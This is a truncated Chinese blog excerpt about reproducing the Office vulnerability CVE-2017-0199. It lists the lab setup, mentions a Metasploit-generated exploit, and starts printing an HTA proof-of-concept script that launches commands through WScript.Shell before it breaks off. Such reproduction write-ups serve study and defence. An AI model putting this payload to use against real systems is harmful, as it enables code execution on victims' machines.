CVE-2017-0199漏洞复现过程

记录一下过程，周日已经出了结果，但是过程忘记了，抽空再次实现了一下。结尾附上利用MSF生成exploit（外国黑客城会玩）。 准备工作 一台apache服务器（这里我用Kali）、POC和一个Word文档。 POC内容大概如下： Default   1 2 3 4 <script> a=new ActiveXObject("WScript.Shell"); a.run('%windir%\\Sys

>>阅读原文<<